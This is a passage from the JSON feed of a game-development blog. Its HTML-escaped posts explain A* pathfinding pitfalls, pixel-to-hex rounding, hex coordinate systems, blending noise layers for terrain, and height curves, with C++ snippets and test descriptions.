diagonal step must not cut a wall corner.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eif (dx !\u0026#61; 0 \u0026amp;\u0026amp; dy !\u0026#61; 0) return grid.passable(from.x \u0026#43; dx, from.y) \u0026amp;\u0026amp; grid.passable(from.x, from.y \u0026#43; dy);\n\u003C\/pre\u003E\n\u003Cp\u003EWithout it the path squeezes between two walls that touch only at a corner. The test has a 2x2 map with a wall in the top right: from top left to bottom right there is no diagonal step, only down and then right. On the start map the path with diagonals costs 44, Dijkstra needs 726 cells and A* 250. Greedy is fast at 133 cells, but its path costs 80.3 instead of 44.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EWhen a cell is reached again by a cheaper way, it is already in the queue. The old entry stays there and gets skipped when it is taken out:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eif (state_[e.index] !\u0026#61; CellState::Open || e.g !\u0026#61; g_[e.index]) continue;\n\u003C\/pre\u003E\n\u003Cp\u003EOn a tie I take the cell with the smaller \u003Ccode\u003Eh\u003C\/code\u003E. That makes A* walk straight to the goal on an empty field, where all cells have the same value. The test calculates this by hand: on an empty 5x5 field from corner to corner A* takes exactly 9 cells and Dijkstra all 25.\u003C\/p\u003E\n\u003Cp\u003EIf the goal sits behind a closed wall, the search floods its half of the map and reports \u0026#34;no path\u0026#34;. The number shown is then the count of reachable cells. A start or goal inside a wall gives \u0026#34;no path\u0026#34; right away.\u003C\/p\u003E\n\u003Cp\u003EAnd painting: the mouse jumps over several cells between two events, so the demo draws a Bresenham line from the last point to the new one. \u003Ccode\u003EpickCell\u003C\/code\u003E turns pixels into cells with \u003Ccode\u003Efloor\u003C\/code\u003E before it converts to \u003Ccode\u003Eint\u003C\/code\u003E, otherwise a click just left of the map would land in cell 0.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-astar-vergleich\/astar-vergleich\u0022\u003Eastar-vergleich\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-11-25T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/from-mouse-to-hex","url":"https:\/\/malura.de\/en\/blog\/from-mouse-to-hex","title":"From Mouse to Hex","content_html":"\u003Cp\u003EDrawing a hex grid is a matter of formulas, \u003Ca href=\u0022\/en\/blog\/hex-coordinates\u0022\u003EHex Coordinates\u003C\/a\u003E shows how. The other direction is the one you need all the time: the mouse is somewhere, which tile does it mean? With a square grid you divide by the edge length and you\u0026#039;re done. With hexagons the rows are shifted against each other and the edges are slanted, one division won\u0026#039;t get you far.\u003C\/p\u003E\n\u003Cp\u003E[[demo:hex-pixel-runden]]\u003C\/p\u003E\n\u003Cp\u003EThe card on the left shows the calculation for the mouse position: first the fractional values q, r and s, then the rounded ones, then how far each value moved while rounding, and at the bottom the result. The chip \u0026#34;Naive\u0026#34; rounds the three values on their own, \u0026#34;Rounded\u0026#34; corrects the result. The orange area in the field is where the naive version finds no hex. With \u0026#34;Line\u0026#34; you draw a line between two tiles: a click sets the start, the mouse is the end. Pointy or flat can be switched, the code is the same, only the matrix differs.\u003C\/p\u003E\n\u003Cp\u003EThe idea comes from the hex tutorial by \u003Ca href=\u0022https:\/\/www.redblobgames.com\/grids\/hexagons\/\u0022\u003ERed Blob Games\u003C\/a\u003E, which I recommend a lot. Everything here is in my own words and with my own code.\u003C\/p\u003E\n\u003Ch2\u003EPixel to fractional coordinates\u003C\/h2\u003E\n\u003Cp\u003EHex to pixel is a linear map, for pointy hexagons it looks like this:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ereturn {l.origin.x \u0026#43; l.size * (kSqrt3 * q \u0026#43; kSqrt3 \/ 2.0 * r), l.origin.y \u0026#43; l.size * 1.5 * r};\n\u003C\/pre\u003E\n\u003Cp\u003EGoing back uses the inverse matrix. Subtract the origin and divide by the hex size, then two lines:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double x \u0026#61; (p.x - l.origin.x) \/ l.size;\nconst double y \u0026#61; (p.y - l.origin.y) \/ l.size;\nconst double q \u0026#61; l.flat ? 2.0 \/ 3.0 * x : kSqrt3 \/ 3.0 * x - 1.0 \/ 3.0 * y;\nconst double r \u0026#61; l.flat ? -1.0 \/ 3.0 * x \u0026#43; kSqrt3 \/ 3.0 * y : 2.0 \/ 3.0 * y;\nreturn {q, r, -q - r};\n\u003C\/pre\u003E\n\u003Cp\u003EThe result has decimals, the mouse sits somewhere between the tile centers. \u003Ccode\u003Es\u003C\/code\u003E is derived from \u003Ccode\u003Eq\u003C\/code\u003E and \u003Ccode\u003Er\u003C\/code\u003E so the point stays on the plane q \u0026#43; r \u0026#43; s \u0026#61; 0. All that\u0026#039;s left is rounding.\u003C\/p\u003E\n\u003Ch2\u003EThe obvious trap\u003C\/h2\u003E\n\u003Cp\u003EThree numbers, each to the nearest integer: \u003Ccode\u003Eround(q)\u003C\/code\u003E, \u003Ccode\u003Eround(r)\u003C\/code\u003E, \u003Ccode\u003Eround(s)\u003C\/code\u003E. The catch: every value moves by up to 0.5 while rounding, so the sum of the rounded values is -1, 0 or \u0026#43;1. At -1 and \u0026#43;1 you hold a triple that is not a hex.\u003C\/p\u003E\n\u003Cp\u003EYou can work out how often that happens. Let a be the distance from q to the nearest integer and b the one from r, both signed. The sum only works out if |a \u0026#43; b| stays below 0.5. In the unit square two triangles in the corners violate that, an eighth of the area each, so a quarter together. In the test I count it over a grid of pixels, over both layouts the share is between 20 and 30 percent. You can see it in the demo: press chip 1 and the orange area runs around the edges of the tiles. In the middle of a tile everything rounds correctly, the failures sit at the borders.\u003C\/p\u003E\n\u003Cp\u003EAt the start the mouse is close to the corner of a tile: q \u0026#61; 0.554, r \u0026#61; -0.308, s \u0026#61; -0.246. Rounded that becomes (1, 0, 0), sum 1. That is no hex.\u003C\/p\u003E\n\u003Ch2\u003EThe fix\u003C\/h2\u003E\n\u003Cp\u003EThe value that moved the most while rounding has the biggest error. You throw it away and recompute it from the other two:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eif (o.dq \u0026gt; o.dr \u0026amp;\u0026amp; o.dq \u0026gt; o.ds) {\n    o.fixed.q \u0026#61; -o.naive.r - o.naive.s;\n    o.fixedAxis \u0026#61; 0;\n} else if (o.dr \u0026gt; o.ds) {\n    o.fixed.r \u0026#61; -o.naive.q - o.naive.s;\n    o.fixedAxis \u0026#61; 1;\n} else {\n    o.fixed.s \u0026#61; -o.naive.q - o.naive.r;\n    o.fixedAxis \u0026#61; 2;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EIn the example q moved by 0.446, r by 0.308, s by 0.246. So \u003Ccode\u003Eq\u003C\/code\u003E goes and becomes -0 - 0 \u0026#61; 0. The mouse is in tile (0, 0, 0). That really is the tile whose center is closest: in the test I compare 4000 random points in both layouts against a brute-force search over all tile centers, and there is no difference.\u003C\/p\u003E\n\u003Cp\u003EIf two values are tied, the order of the checks decides. For a point exactly on an edge that is a convention, both tiles are equally close.\u003C\/p\u003E\n\u003Ch2\u003EA line across the grid\u003C\/h2\u003E\n\u003Cp\u003EThe same rounding carries lines. Between two tiles there are N \u0026#61; \u003Ccode\u003Edistance(a, b)\u003C\/code\u003E steps, the largest of the three coordinate differences. You take N \u0026#43; 1 evenly spaced points on the straight line through cube space and round each one:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eout.push_back(n \u0026#61;\u0026#61; 0 ? fa : lerp(fa, fb, static_cast\u0026lt;double\u0026gt;(i) \/ static_cast\u0026lt;double\u0026gt;(n)));\n\u003C\/pre\u003E\n\u003Cp\u003EThe result is a chain of neighboring tiles without gaps and without jumps. I test that for many start and end pairs. If you switch to \u0026#34;Naive\u0026#34; in line mode, the sample points whose naive rounding is no hex drop out: orange dot, no tile.\u003C\/p\u003E\n\u003Cp\u003EThat leaves the edge. If the line runs exactly along the border of two tiles, the tie rule decides. From (0, 0, 0) to (2, -1, -1) the middle point lies exactly at (1, -0.5, -0.5), and without any countermeasure the result is (1, -1, 0). The chip \u0026#34;Nudge\u0026#34; shifts the whole line by 0.000001 (precisely by (e, e, -2e), the sum stays zero):\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Frac fa{a.q \u0026#43; e, a.r \u0026#43; e, a.s - 2.0 * e};\nconst Frac fb{b.q \u0026#43; e, b.r \u0026#43; e, b.s - 2.0 * e};\n\u003C\/pre\u003E\n\u003Cp\u003ENow the point is clearly on one side, the result is (1, 0, -1), and it doesn\u0026#039;t matter in which direction you walk the line. The test has exactly this case. In the demo you can see it if you set the start to the middle tile, put the end two tiles to the upper right of it and press N: the tile in the middle of the line jumps to the other side.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe conversion to \u003Ccode\u003Eint\u003C\/code\u003E is where mouse coordinates outside the window or a NaN can go wrong. \u003Ccode\u003EtoInt\u003C\/code\u003E clamps to plus or minus a million and turns NaN into zero, so the cast never causes undefined behavior. A hex size of 0 would divide by zero in \u003Ccode\u003EtoFractional\u003C\/code\u003E, there the origin tile comes out.\u003C\/p\u003E\n\u003Cp\u003EAnd the orientation: pointy and flat need different matrices and different corner angles (a 30 degree offset). If you mix formulas from pointy and flat, you get tiles that only almost meet. So the test checks that two neighboring tiles share exactly two corners in both layouts.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-hex-pixel-runden\/hex-pixel-runden\u0022\u003Ehex-pixel-runden\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-11-22T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/hex-coordinates","url":"https:\/\/malura.de\/en\/blog\/hex-coordinates","title":"Hex Coordinates","content_html":"\u003Cp\u003EA grid of hexagons is quickly drawn on paper. In code the trouble starts with the first question: what is a cell called? A normal grid has \u003Ccode\u003Ex\u003C\/code\u003E and \u003Ccode\u003Ey\u003C\/code\u003E, four neighbors and a distance you can work out in your sleep. With hexagons none of that holds, and there are several ways to number the cells.\u003C\/p\u003E\n\u003Cp\u003EThe demo shows a board of 9 by 7 hexes. A click or drag places the cursor, on the right the same cell is shown as offset, axial, cube and doubled. The six neighbors light up orange, every other cell shows its distance to the cursor. Move the mouse over a cell and you see how that number comes together.\u003C\/p\u003E\n\u003Cp\u003E[[demo:hex-koordinaten]]\u003C\/p\u003E\n\u003Cp\u003EThe chips at the bottom right switch between pointy (a corner points up) and flat (a side is on top), and between odd and even. \u0026#34;Offset\u0026#34; and \u0026#34;Axial\u0026#34; put the coordinates into the cells, \u0026#34;Naive\u0026#34; shows a distance that is easy to build first and wrong. You can also move the cursor with Q W E A D Z X C or the arrow keys.\u003C\/p\u003E\n\u003Cp\u003ERed Blob Games has explained hex grids at length for years, with lovely interactive diagrams: \u003Ca href=\u0022https:\/\/www.redblobgames.com\/grids\/hexagons\/\u0022\u003EHexagonal Grids\u003C\/a\u003E and the \u003Ca href=\u0022https:\/\/www.redblobgames.com\/grids\/hexagons\/implementation.html\u0022\u003Eimplementation guide\u003C\/a\u003E that goes with it. Everything here is rebuilt in my own code, with tests. This post lays the groundwork for a few follow-ups.\u003C\/p\u003E\n\u003Ch2\u003EOffset: the array\u003C\/h2\u003E\n\u003Cp\u003EIf you store a hex board in a two-dimensional array you end up with offset coordinates (\u003Ccode\u003Ecol\u003C\/code\u003E, \u003Ccode\u003Erow\u003C\/code\u003E). Every second row is pushed half a cell to the right so the hexagons interlock. Which rows that is, is a matter of taste: the odd ones in odd-r, the even ones in even-r. With flat hexes it is columns that slide down (odd-q and even-q). That makes four conventions, and the demo switches between them live. The same cell has different offset numbers afterwards.\u003C\/p\u003E\n\u003Cp\u003EOffset is bad for calculations because the neighbors behave differently from row to row. In odd-r, going up and to the right from row 2 keeps you in the same column, from row 3 you land one column further right. So you need two neighbor tables, one per parity:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E{{1, 0}, {0, -1}, {-1, -1}, {-1, 0}, {-1, 1}, {0, 1}},  \/\/ row not pushed right\n{{1, 0}, {1, -1}, {0, -1}, {-1, 0}, {0, 1}, {1, 1}},    \/\/ row pushed right\n\u003C\/pre\u003E\n\u003Cp\u003EThese are the six steps \u003Ccode\u003E{dcol, drow}\u003C\/code\u003E for a pointy row without and with the shift. Flat has two more, and for even instead of odd the choice is swapped. \u003Ccode\u003EneighborOffset\u003C\/code\u003E is what moves the cursor in the demo when you press a key.\u003C\/p\u003E\n\u003Ch2\u003EAxial: two axes, one step\u003C\/h2\u003E\n\u003Cp\u003EThe math is done in axial. Instead of column and row there is \u003Ccode\u003Eq\u003C\/code\u003E (horizontal) and \u003Ccode\u003Er\u003C\/code\u003E (diagonally down for pointy, there is no shift anymore). The six neighbors are then the same steps in every cell:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econstexpr Axial kAxialDirections[kDirections] \u0026#61; {{1, 0}, {1, -1}, {0, -1}, {-1, 0}, {-1, 1}, {0, 1}};\n\u003C\/pre\u003E\n\u003Cp\u003EGetting to a neighbor is one addition with no case distinction:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline Axial neighbor(Axial a, int direction) {\n    const Axial step \u0026#61; kAxialDirections[wrapDirection(direction)];\n    return {a.q \u0026#43; step.q, a.r \u0026#43; step.r};\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThe detour from offset to axial is written once. For pointy with odd-r:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst int shift \u0026#61; l.parity \u0026#61;\u0026#61; Parity::Odd ? o.row - parityBit(o.row) : o.row \u0026#43; parityBit(o.row);\nreturn {o.col - shift \/ 2, o.row};\n\u003C\/pre\u003E\n\u003Cp\u003EThe parity bit is subtracted from the row first (added for even-r), so the number is even and the division by 2 is exact. The demo does exactly this for the cell under the cursor: offset \u003Ccode\u003Ecol 4, row 3\u003C\/code\u003E becomes \u003Ccode\u003Eq 3, r 3\u003C\/code\u003E.\u003C\/p\u003E\n\u003Ch2\u003ECube: the third axis\u003C\/h2\u003E\n\u003Cp\u003ECube adds an \u003Ccode\u003Es\u003C\/code\u003E to \u003Ccode\u003Eq\u003C\/code\u003E and \u003Ccode\u003Er\u003C\/code\u003E, and the three values always add up to zero:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline Cube toCube(Axial a) { return {a.q, a.r, -a.q - a.r}; }\n\u003C\/pre\u003E\n\u003Cp\u003ESo axial is cube without \u003Ccode\u003Es\u003C\/code\u003E, there is nothing more to it. The demo shows the calculation in the orange line: \u003Ccode\u003Es \u0026#61; -(3) - (3) \u0026#61; -6\u003C\/code\u003E. The reason to carry \u003Ccode\u003Es\u003C\/code\u003E along anyway is the distance. The number of steps between two cells is the largest absolute value of the three differences:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline int cubeDistance(Cube a, Cube b) { return std::max({std::abs(a.q - b.q), std::abs(a.r - b.r), std::abs(a.s - b.s)}); }\n\u003C\/pre\u003E\n\u003Cp\u003EIn the first frame the cursor is at (3, 3, -6) and the marked cell at (7, 1, -8). The differences are 4, -2 and -2, the largest absolute value is 4. Four steps lie between them, and the heatmap shows a 4 there too.\u003C\/p\u003E\n\u003Cp\u003EYou can also do it straight in axial, \u003Ccode\u003E(|dq| \u0026#43; |dq \u0026#43; dr| \u0026#43; |dr|) \/ 2\u003C\/code\u003E gives the same number, you just no longer see why.\u003C\/p\u003E\n\u003Ch2\u003EDoubled\u003C\/h2\u003E\n\u003Cp\u003EThe fourth form is rare. For pointy, doubled doubles the column: \u003Ccode\u003Ecol \u0026#61; 2q \u0026#43; r\u003C\/code\u003E, \u003Ccode\u003Erow \u0026#61; r\u003C\/code\u003E. The column then counts half hex widths, and only cells where \u003Ccode\u003Ecol \u0026#43; row\u003C\/code\u003E is even are valid. For flat the row is doubled instead.\u003C\/p\u003E\n\u003Ch2\u003EDrawing\u003C\/h2\u003E\n\u003Cp\u003EA hex gets onto the screen by a formula from its axial coordinates. For pointy the center is at:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ereturn {kSqrt3 * (q \u0026#43; r \/ 2.0), 1.5 * r};\n\u003C\/pre\u003E\n\u003Cp\u003EEverything is calculated for a hex size of 1 (center to corner), the demo multiplies by 30 pixels. A test checks that all six neighbors are exactly \u221a3 away and share two corners with the cell.\u003C\/p\u003E\n\u003Cp\u003ETo find the cell under the mouse I still take the lazy way here: the nearest center, then a check that the point really lies inside that hexagon. With 63 cells that is plenty. The formula that goes straight from pixel to hex comes in a follow-up post.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe obvious distance on the offset grid is \u003Ccode\u003E|dcol| \u0026#43; |drow|\u003C\/code\u003E. The \u0026#34;Naive\u0026#34; chip turns it on and the rings around the cursor fall apart. Even the neighbors no longer all show a 1. In odd-r the cell (1, 0) is a neighbor of (0, 1), the naive value says 2. The hover card on the right shows both numbers one below the other and marks the wrong one.\u003C\/p\u003E\n\u003Cp\u003EThe second trap hides in \u003Ccode\u003Erow % 2\u003C\/code\u003E. In C\u0026#43;\u0026#43; \u003Ccode\u003E-1 % 2\u003C\/code\u003E is \u003Ccode\u003E-1\u003C\/code\u003E, and \u003Ccode\u003Erow % 2 \u0026#61;\u0026#61; 1\u003C\/code\u003E takes a negative odd row for even. With two\u0026#039;s complement \u003Ccode\u003Ex \u0026amp; 1\u003C\/code\u003E gives the right bit for negative numbers too, which is why the test covers row -1 and column -1 separately.\u003C\/p\u003E\n\u003Cp\u003EThen there is mixing up odd and even: the same offset numbers sit elsewhere in odd-r and even-r, as the demo shows when you switch, because the cursor keeps its offset values.\u003C\/p\u003E\n\u003Ch2\u003EHow I test it\u003C\/h2\u003E\n\u003Cp\u003EAll conversions run in both directions for all four conventions, which catches sign errors. I compare the neighbor tables for every cell of a range against the route through axial: convert, take a step, convert back. The distance I check without the formula. A breadth-first search walks outward from the origin step by step, 217 cells within eight steps, and \u003Ccode\u003EcubeDistance\u003C\/code\u003E has to return for each the number of steps the search needed to reach it.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo at \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-hex-koordinaten\/hex-koordinaten\u0022\u003Ehex-koordinaten\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-11-19T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/blending-noise-layers","url":"https:\/\/malura.de\/en\/blog\/blending-noise-layers","title":"Blending Noise Layers","content_html":"\u003Cp\u003EA single fBm looks the same everywhere: wavy, slightly rough, at the same strength in every spot. For clouds that is exactly right. A landscape has plains, hills and mountain ranges, though, and they are not spread out evenly. After \u003Ca href=\u0022\/en\/blog\/terrain-from-noise\u0022\u003ETerrain from Noise\u003C\/a\u003E and \u003Ca href=\u0022\/en\/blog\/height-curves-and-terraces\u0022\u003EHeight Curves and Terraces\u003C\/a\u003E the part that made the biggest difference for me is still missing: putting several noise layers together so that the mountains stand where the land is high.\u003C\/p\u003E\n\u003Cp\u003E[[demo:terrain-layers]]\u003C\/p\u003E\n\u003Cp\u003EThe demo mixes three layers, shown as grey tiles on the right: continent, mountains and detail. The four chips under the map decide how they are combined. A click on a tile switches that layer off, two sliders set threshold and softness of the mask, dragging the map moves the view and N rolls a new one. Under the map there is a number that compares the relief on the lowlands with the highlands. It starts in Mask mode. Press chip 4 (Add) afterwards and you will see why the mask exists.\u003C\/p\u003E\n\u003Ch2\u003EThree layers\u003C\/h2\u003E\n\u003Cp\u003EThe continent is an fBm with only two octaves at a low frequency. Perlin noise rarely gets near 0 or 1, so I stretch the values around the middle, otherwise everything would be a grey middle field without a clear coast:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float continentAt(float wx, float wy, std::uint32_t seed) {\n    const auto n \u0026#61; [seed](float x, float y, int o) { return octaveNoise(x, y, o, seed \u0026#43; 101u); };\n    return contrast(fbm(n, wx * kContinentFreq, wy * kContinentFreq, 2, 2.0F, 0.4F), 2.4F);\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThe mountains are a ridged fBm. The trick: mountain crests sit where the noise crosses its middle. There \u003Ccode\u003E|2n - 1|\u003C\/code\u003E is zero, and the zero becomes a crest:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float ridge(float n, float stretch) { return 1.0F - clamp01(std::fabs(2.0F * n - 1.0F) * stretch); }\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Estretch\u003C\/code\u003E narrows the crest, otherwise almost everything would be crest, given how narrow the noise distribution is. Per octave the value is squared and summed (\u003Ccode\u003Esum \u0026#43;\u0026#61; amp * r * r\u003C\/code\u003E), which makes the crests sharper. The detail is an ordinary fBm at a high frequency. All three layers live in [0, 1]. Each layer has its own noise function with its own seed offset, otherwise they would be correlated.\u003C\/p\u003E\n\u003Ch2\u003EAdding\u003C\/h2\u003E\n\u003Cp\u003EThe obvious way is the sum. To keep it inside [0, 1] I pick the weights to fit: a base of 0.1, the continent with 0.5, the mountains with 0.4:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecase Mode::Add: h \u0026#61; base \u0026#43; kMountainWeight * m; break;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Ebase\u003C\/code\u003E is \u003Ccode\u003EkBase \u0026#43; kContinentWeight * c\u003C\/code\u003E, and the detail comes on top as a small offset of \u00b10.04. At first glance the result does not look bad. Then you notice the sea is gone. The mountains are added everywhere, also where the continent is low, so the sea floor rises out of the water with mountain ranges and the ocean turns into a lake district. Every spot has the same kind of relief.\u003C\/p\u003E\n\u003Cp\u003EThe number under the map makes that measurable. It takes all land cells and splits them by the mask: cells where the mask is clearly off (below 5 percent) are lowland, clearly on (above 95 percent) are highland. For both it shows the mean height difference per cell, next to it the ratio. For Add it is about 1.0 in the starting view, lowland and highland are equally steep.\u003C\/p\u003E\n\u003Ch2\u003EMultiplying\u003C\/h2\u003E\n\u003Cp\u003EThe second idea: the continent scales the mountains instead of just adding to them. Where there is little land, there is little mountain:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecase Mode::Multiply: h \u0026#61; base * (kMultBase \u0026#43; kMultGain * m); break;\n\u003C\/pre\u003E\n\u003Cp\u003EThe factor runs from 0.8 to 1.6, so the relief grows with the height of the land. That is a soft mask without a threshold, and it costs no slider. The ratio rises to about 1.4. The coasts still get relief, because the factor is never zero, and the mountains stay around a little everywhere.\u003C\/p\u003E\n\u003Ch2\u003EThe mask\u003C\/h2\u003E\n\u003Cp\u003EThe third variant turns the continent value into a switch. A mask is 0 where the mountains are not wanted and 1 where they may stand at full height. In between is a transition so there is no edge:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float maskOf(float c, float threshold, float softness) { return smoothstep(threshold - softness, threshold \u0026#43; softness, c); }\n\u003C\/pre\u003E\n\u003Cp\u003EOn the threshold itself the mask is exactly 0.5, however soft the transition is. That is pinned down in the test, because I rely on it when tuning. Then the mask is multiplied with the mountains before they join the base:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecase Mode::Mask: h \u0026#61; base \u0026#43; mask * kMountainWeight * m; break;\n\u003C\/pre\u003E\n\u003Cp\u003EThe lowlands keep the smooth continent, the highlands get the crests on top. With seed 3 the ratio jumps to about 2.5. O tints the area where the mask is off. Pull the threshold down: the mountains spread to the coast. Pull it up and they retreat into the cores of the continents. The softness sets how long the foot of a mountain range is. Set to 0, every range ends at an edge.\u003C\/p\u003E\n\u003Ch2\u003ELerp\u003C\/h2\u003E\n\u003Cp\u003EThe fourth variant blends two finished terrains instead of switching one layer on and off: flat plains with just enough height to pass as land, and the full Add terrain.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecase Mode::Lerp: h \u0026#61; lerp(kPlainsBase \u0026#43; kPlainsGain * c, base \u0026#43; kMountainWeight * m, mask); break;\n\u003C\/pre\u003E\n\u003Cp\u003EMathematically \u003Ccode\u003Elerp(base, base \u0026#43; kMountainWeight * m, mask)\u003C\/code\u003E would be identical to the mask above. The difference only appears when the plains have a shape of their own. Here they are flatter than the continent itself, and the ratio is about 3.9 in the starting view.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EA switched-off layer needs a neutral value. When I switch the continent off, the demo computes with a flat 0.5:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float c \u0026#61; on.continent ? l.c[i] : 0.5F;\nconst float m \u0026#61; on.mountains ? l.m[i] : 0.0F;\nconst float d \u0026#61; on.detail ? l.d[i] : 0.5F;\n\u003C\/pre\u003E\n\u003Cp\u003EWith 0 for the continent the whole map would be under water in Mask mode. With 0.5 and the default mask it is lowland everywhere, and the mountains stay away because no continent value gets over the threshold.\u003C\/p\u003E\n\u003Cp\u003EThe statistic caught me out as well. In an earlier version I counted everything with a continent value below the threshold as lowland. That included the whole transition zone, and the foot of the mountains made the lowland steeper. The ratio only reached 1.7. Only after I took out the zone between 5 and 95 percent mask did the difference come through (2.6 in the setting I had then).\u003C\/p\u003E\n\u003Cp\u003EThe noise itself needs about 20 ms per recompute (288 by 192 cells with ten octaves, measured natively, a bit more in the browser). That is why I keep the three raw layers separate: mode, threshold and on\/off only redo the blending (around 0.2 ms), the noise runs only when you pan or roll a new seed.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-terrain-layers\/terrain-layers\u0022\u003Eterrain-layers\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series. If you want to read on, Red Blob Games explains in \u003Ca href=\u0022https:\/\/www.redblobgames.com\/maps\/terrain-from-noise\/\u0022\u003EMaking maps with noise\u003C\/a\u003E at length how to make maps from noise.\u003C\/p\u003E\n","date_published":"2026-11-16T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/height-curves-and-terraces","url":"https:\/\/malura.de\/en\/blog\/height-curves-and-terraces","title":"Height Curves and Terraces","content_html":"\u003Cp\u003EThe noise from \u003Ca href=\u0022\/en\/blog\/terrain-from-noise\u0022\u003ETerrain from Noise\u003C\/a\u003E gives hills that are all about the same height. What\u0026#039;s missing are wide plains and sharp peaks. You don\u0026#039;t need a different noise for that. You reshape the same numbers after they are computed.\u003C\/p\u003E\n\u003Cp\u003E[[demo:terrain-shaping]]\u003C\/p\u003E\n\u003Cp\u003EThe map is on the left, top right are the height curve and a histogram of the heights, below it a cross-section along the dashed row on the map. The five nodes of the curve can be dragged with the mouse, dragging the map pans the view, and hovering the map picks the row for the cross-section. The chips switch curve shapes, terraces, ridges and the naive variant. The demo starts with the \u0026#34;Valleys\u0026#34; curve and ridges on. Chip 1 is the straight line, and then the map shows the plain noise from before again.\u003C\/p\u003E\n\u003Ch2\u003EA curve between noise and picture\u003C\/h2\u003E\n\u003Cp\u003EEvery height goes through a function that maps 0 to 1 onto 0 to 1. With a straight line nothing changes. If the curve sags, the middle heights slide down and a big part of the map goes flat. Red Blob Games \u003Ca href=\u0022https:\/\/www.redblobgames.com\/maps\/terrain-from-noise\/\u0022\u003Eexplains this at length\u003C\/a\u003E with \u003Ccode\u003Epow(e, exponent)\u003C\/code\u003E, and that is the easiest way in. I wanted to draw the curve and grab it, so here it sits on five nodes. Between the nodes runs a cubic polynomial whose slopes are chosen so that rising nodes never produce an overshoot (Fritsch and Carlson):\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ec.m[k] \u0026#61; d[k - 1] * d[k] \u0026lt;\u0026#61; 0.0 ? 0.0 : 2.0 * d[k - 1] * d[k] \/ (d[k - 1] \u0026#43; d[k]);\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Ed\u003C\/code\u003E are the slopes of the secants between the nodes. If it changes sign or one of them is 0, the slope at the node becomes 0, otherwise the harmonic mean applies. On top comes a rule for dragging: a node may not pass its neighbors.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double lo \u0026#61; i \u0026#61;\u0026#61; 0 ? 0.0 : y[i - 1];\nconst double hi \u0026#61; i \u0026#43; 1 \u0026#61;\u0026#61; y.size() ? 1.0 : y[i \u0026#43; 1];\ny[i] \u0026#61; std::clamp(value, lo, hi);\n\u003C\/pre\u003E\n\u003Cp\u003EWithout that clamp a higher value could sit left of a lower one. The curve would reverse and the map would be upside down at that spot: valleys suddenly higher than the slopes before them. The test for it is calculated by hand. The node values 0, 0, 0, 1, 1 give an S between the third and the fourth node, and its middle sits at exactly 0.5.\u003C\/p\u003E\n\u003Cp\u003EThe histogram shows what the curve does to the distribution. The outlines are the heights before the curve, the filled bars after it. With \u0026#34;Valleys\u0026#34; (x squared on the nodes) almost everything moves left, in the start state 76 percent of the area is land, with the sea at 0.15. 